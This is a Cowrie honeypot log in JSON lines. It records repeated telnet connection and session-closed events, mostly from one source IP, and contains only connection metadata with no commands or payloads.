{"eventid":"cowrie.session.closed","duration":33.408766746520996,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:08.925780Z","src_ip":"162.55.233.176","session":"66b2d2c09c71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21053981781006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:09.293893Z","src_ip":"162.55.233.176","session":"70130070676d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.38386368751526,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:09.579482Z","src_ip":"162.55.233.176","session":"1dc9b2c4383e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.389060020446777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:09.711752Z","src_ip":"162.55.233.176","session":"fc5b43a8b3ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.00938153266907,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:09.849426Z","src_ip":"162.55.233.176","session":"5d031a720bb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.18339800834656,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:09.908479Z","src_ip":"162.55.233.176","session":"78cbc5f11d82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57378,"dst_ip":"159.203.135.109","dst_port":23,"session":"64bfe5e5d164","protocol":"telnet","message":"New connection: 162.55.233.176:57378 (159.203.135.109:23) [session: 64bfe5e5d164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:10.295097Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57390,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d3ffb9308f7","protocol":"telnet","message":"New connection: 162.55.233.176:57390 (159.203.135.109:23) [session: 5d3ffb9308f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:10.543397Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57406,"dst_ip":"159.203.135.109","dst_port":23,"session":"f11c18b09cc3","protocol":"telnet","message":"New connection: 162.55.233.176:57406 (159.203.135.109:23) [session: f11c18b09cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:10.569120Z"}
{"eventid":"cowrie.session.closed","duration":33.81558895111084,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:10.901048Z","src_ip":"162.55.233.176","session":"2afc2eafc6de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56289029121399,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:10.976779Z","src_ip":"162.55.233.176","session":"27f5f3c6937e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.9727163314819336,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:11.389142Z","src_ip":"188.208.141.113","session":"062aabbb439d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57420,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd976123b7bf","protocol":"telnet","message":"New connection: 162.55.233.176:57420 (159.203.135.109:23) [session: bd976123b7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:11.512233Z"}
{"eventid":"cowrie.session.closed","duration":40.79908800125122,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:11.709409Z","src_ip":"162.55.233.176","session":"a05a0b689aeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.330838680267334,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:11.738624Z","src_ip":"162.55.233.176","session":"a1af57b5e4d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.018200874328613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:11.933189Z","src_ip":"162.55.233.176","session":"d47c3eedf815","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57432,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e07a9a6a574","protocol":"telnet","message":"New connection: 162.55.233.176:57432 (159.203.135.109:23) [session: 6e07a9a6a574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:11.971833Z"}
{"eventid":"cowrie.session.closed","duration":30.785091638565063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:12.217835Z","src_ip":"162.55.233.176","session":"9597fb0ae2ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57440,"dst_ip":"159.203.135.109","dst_port":23,"session":"44892097212d","protocol":"telnet","message":"New connection: 162.55.233.176:57440 (159.203.135.109:23) [session: 44892097212d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:12.242178Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57454,"dst_ip":"159.203.135.109","dst_port":23,"session":"87b3a107658d","protocol":"telnet","message":"New connection: 162.55.233.176:57454 (159.203.135.109:23) [session: 87b3a107658d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:12.742451Z"}
{"eventid":"cowrie.session.closed","duration":33.11453437805176,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:12.886334Z","src_ip":"162.55.233.176","session":"6d9b28d3dbad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.417795181274414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:13.319763Z","src_ip":"162.55.233.176","session":"31f1eedf73ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.5960054397583,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:13.325155Z","src_ip":"162.55.233.176","session":"ce9082601b0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.76153516769409,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:13.976053Z","src_ip":"162.55.233.176","session":"ded4b1a23330","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52088,"dst_ip":"159.203.135.109","dst_port":23,"session":"a896a4410fe1","protocol":"telnet","message":"New connection: 162.55.233.176:52088 (159.203.135.109:23) [session: a896a4410fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:13.983650Z"}
{"eventid":"cowrie.session.closed","duration":31.663523197174072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:14.016532Z","src_ip":"162.55.233.176","session":"7263534eaf2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52100,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd5ccd2f1ecd","protocol":"telnet","message":"New connection: 162.55.233.176:52100 (159.203.135.109:23) [session: bd5ccd2f1ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:14.122670Z"}
{"eventid":"cowrie.session.closed","duration":37.58528804779053,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:14.456298Z","src_ip":"162.55.233.176","session":"9d7715206f3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":43746,"dst_ip":"10.17.0.5","dst_port":23,"session":"f238ede3fe4d","protocol":"telnet","message":"New connection: 206.189.32.23:43746 (10.17.0.5:23) [session: f238ede3fe4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:14.549900Z"}
{"eventid":"cowrie.session.closed","duration":35.50242495536804,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:14.643238Z","src_ip":"162.55.233.176","session":"5a80e0400fef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52110,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ebf466cfae8","protocol":"telnet","message":"New connection: 162.55.233.176:52110 (159.203.135.109:23) [session: 9ebf466cfae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:14.735021Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52118,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b43f6486130","protocol":"telnet","message":"New connection: 162.55.233.176:52118 (159.203.135.109:23) [session: 3b43f6486130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:15.021127Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52144,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b9662417934","protocol":"telnet","message":"New connection: 162.55.233.176:52144 (159.203.135.109:23) [session: 2b9662417934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:15.516195Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52154,"dst_ip":"159.203.135.109","dst_port":23,"session":"23e53a05921e","protocol":"telnet","message":"New connection: 162.55.233.176:52154 (159.203.135.109:23) [session: 23e53a05921e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:15.637460Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52106,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bb854381754","protocol":"telnet","message":"New connection: 162.55.233.176:52106 (159.203.135.109:23) [session: 1bb854381754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:15.703630Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52168,"dst_ip":"159.203.135.109","dst_port":23,"session":"b54c38df6b6b","protocol":"telnet","message":"New connection: 162.55.233.176:52168 (159.203.135.109:23) [session: b54c38df6b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:15.821562Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52180,"dst_ip":"159.203.135.109","dst_port":23,"session":"22650abe4399","protocol":"telnet","message":"New connection: 162.55.233.176:52180 (159.203.135.109:23) [session: 22650abe4399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:15.907501Z"}
{"eventid":"cowrie.session.closed","duration":34.703752279281616,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:16.032943Z","src_ip":"162.55.233.176","session":"9d324ff06973","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52130,"dst_ip":"159.203.135.109","dst_port":23,"session":"05fc258fa789","protocol":"telnet","message":"New connection: 162.55.233.176:52130 (159.203.135.109:23) [session: 05fc258fa789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:16.044885Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52182,"dst_ip":"159.203.135.109","dst_port":23,"session":"55cf555c427c","protocol":"telnet","message":"New connection: 162.55.233.176:52182 (159.203.135.109:23) [session: 55cf555c427c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:16.081164Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52190,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c63c460d322","protocol":"telnet","message":"New connection: 162.55.233.176:52190 (159.203.135.109:23) [session: 6c63c460d322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:16.451413Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52200,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb6b30727081","protocol":"telnet","message":"New connection: 162.55.233.176:52200 (159.203.135.109:23) [session: bb6b30727081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:16.804268Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52202,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c99170d5e5f","protocol":"telnet","message":"New connection: 162.55.233.176:52202 (159.203.135.109:23) [session: 2c99170d5e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:17.372716Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52214,"dst_ip":"159.203.135.109","dst_port":23,"session":"105fbf588a51","protocol":"telnet","message":"New connection: 162.55.233.176:52214 (159.203.135.109:23) [session: 105fbf588a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:17.563988Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34886,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab9adfb5e90f","protocol":"telnet","message":"New connection: 188.208.141.113:34886 (10.17.0.5:23) [session: ab9adfb5e90f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:17.640953Z"}
{"eventid":"cowrie.session.closed","duration":36.16969895362854,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:17.722426Z","src_ip":"162.55.233.176","session":"b5d356f839f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52216,"dst_ip":"159.203.135.109","dst_port":23,"session":"e33217f51d78","protocol":"telnet","message":"New connection: 162.55.233.176:52216 (159.203.135.109:23) [session: e33217f51d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:17.762573Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":47960,"dst_ip":"10.17.0.5","dst_port":23,"session":"91b3ab8c4e47","protocol":"telnet","message":"New connection: 206.189.32.23:47960 (10.17.0.5:23) [session: 91b3ab8c4e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:17.878401Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52226,"dst_ip":"159.203.135.109","dst_port":23,"session":"428408668fdf","protocol":"telnet","message":"New connection: 162.55.233.176:52226 (159.203.135.109:23) [session: 428408668fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:18.025208Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52238,"dst_ip":"159.203.135.109","dst_port":23,"session":"c056ac3fb659","protocol":"telnet","message":"New connection: 162.55.233.176:52238 (159.203.135.109:23) [session: c056ac3fb659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:18.344001Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52242,"dst_ip":"159.203.135.109","dst_port":23,"session":"384f0ea2ece5","protocol":"telnet","message":"New connection: 162.55.233.176:52242 (159.203.135.109:23) [session: 384f0ea2ece5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:18.497182Z"}
{"eventid":"cowrie.session.closed","duration":34.952574491500854,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:19.030817Z","src_ip":"162.55.233.176","session":"f9a451e96c38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52250,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0e963ed15b9","protocol":"telnet","message":"New connection: 162.55.233.176:52250 (159.203.135.109:23) [session: e0e963ed15b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:19.199114Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52264,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4aaf22d3de2","protocol":"telnet","message":"New connection: 162.55.233.176:52264 (159.203.135.109:23) [session: a4aaf22d3de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:19.302136Z"}
{"eventid":"cowrie.session.closed","duration":33.57335877418518,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:19.468842Z","src_ip":"162.55.233.176","session":"1f4f25700e33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55608367919922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:19.648607Z","src_ip":"162.55.233.176","session":"3d53869f12ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52266,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a44868bbfd1","protocol":"telnet","message":"New connection: 162.55.233.176:52266 (159.203.135.109:23) [session: 4a44868bbfd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:19.771660Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52276,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b5dcba8f872","protocol":"telnet","message":"New connection: 162.55.233.176:52276 (159.203.135.109:23) [session: 0b5dcba8f872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:19.775491Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52292,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb9d441540e7","protocol":"telnet","message":"New connection: 162.55.233.176:52292 (159.203.135.109:23) [session: eb9d441540e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:20.230724Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52302,"dst_ip":"159.203.135.109","dst_port":23,"session":"85099f2d1b4c","protocol":"telnet","message":"New connection: 162.55.233.176:52302 (159.203.135.109:23) [session: 85099f2d1b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:20.319857Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52312,"dst_ip":"159.203.135.109","dst_port":23,"session":"3da06c0c6e3d","protocol":"telnet","message":"New connection: 162.55.233.176:52312 (159.203.135.109:23) [session: 3da06c0c6e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:20.346967Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52324,"dst_ip":"159.203.135.109","dst_port":23,"session":"450ffc23f85a","protocol":"telnet","message":"New connection: 162.55.233.176:52324 (159.203.135.109:23) [session: 450ffc23f85a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:20.372069Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52336,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a3267b16fb5","protocol":"telnet","message":"New connection: 162.55.233.176:52336 (159.203.135.109:23) [session: 0a3267b16fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:20.753724Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52348,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d9656c9ce8c","protocol":"telnet","message":"New connection: 162.55.233.176:52348 (159.203.135.109:23) [session: 5d9656c9ce8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:20.791144Z"}
{"eventid":"cowrie.session.closed","duration":31.502212047576904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:21.048907Z","src_ip":"162.55.233.176","session":"dd115b8dfd51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.66706466674805,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:21.511623Z","src_ip":"162.55.233.176","session":"9d2678c9c94a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.575175285339355,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:21.742859Z","src_ip":"162.55.233.176","session":"960945a002bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.95139217376709,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:21.875130Z","src_ip":"162.55.233.176","session":"c3dbb346d496","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52364,"dst_ip":"159.203.135.109","dst_port":23,"session":"6860d3d14551","protocol":"telnet","message":"New connection: 162.55.233.176:52364 (159.203.135.109:23) [session: 6860d3d14551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:22.012066Z"}
{"eventid":"cowrie.session.closed","duration":31.658737659454346,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:22.030593Z","src_ip":"162.55.233.176","session":"920938a0f282","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.99150514602661,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:22.189335Z","src_ip":"162.55.233.176","session":"6f7731590c2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52370,"dst_ip":"159.203.135.109","dst_port":23,"session":"3da39cefded1","protocol":"telnet","message":"New connection: 162.55.233.176:52370 (159.203.135.109:23) [session: 3da39cefded1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:22.275996Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52356,"dst_ip":"159.203.135.109","dst_port":23,"session":"c21845af94cd","protocol":"telnet","message":"New connection: 162.55.233.176:52356 (159.203.135.109:23) [session: c21845af94cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:22.359688Z"}
{"eventid":"cowrie.session.closed","duration":30.61591625213623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:22.432558Z","src_ip":"162.55.233.176","session":"ac3697e75512","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52378,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a374c476947","protocol":"telnet","message":"New connection: 162.55.233.176:52378 (159.203.135.109:23) [session: 7a374c476947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:22.514639Z"}
{"eventid":"cowrie.session.closed","duration":32.0689058303833,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:22.678943Z","src_ip":"162.55.233.176","session":"a748629684d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.236566066741943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:22.724213Z","src_ip":"162.55.233.176","session":"0a3e526c0a3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.96148443222046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:22.779937Z","src_ip":"162.55.233.176","session":"cffcc0b48731","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.757043838500977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:22.846760Z","src_ip":"162.55.233.176","session":"e953eb394062","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.80953121185303,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:22.863673Z","src_ip":"162.55.233.176","session":"175133786a26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32820,"dst_ip":"159.203.135.109","dst_port":23,"session":"99c439126a57","protocol":"telnet","message":"New connection: 162.55.233.176:32820 (159.203.135.109:23) [session: 99c439126a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:23.052588Z"}
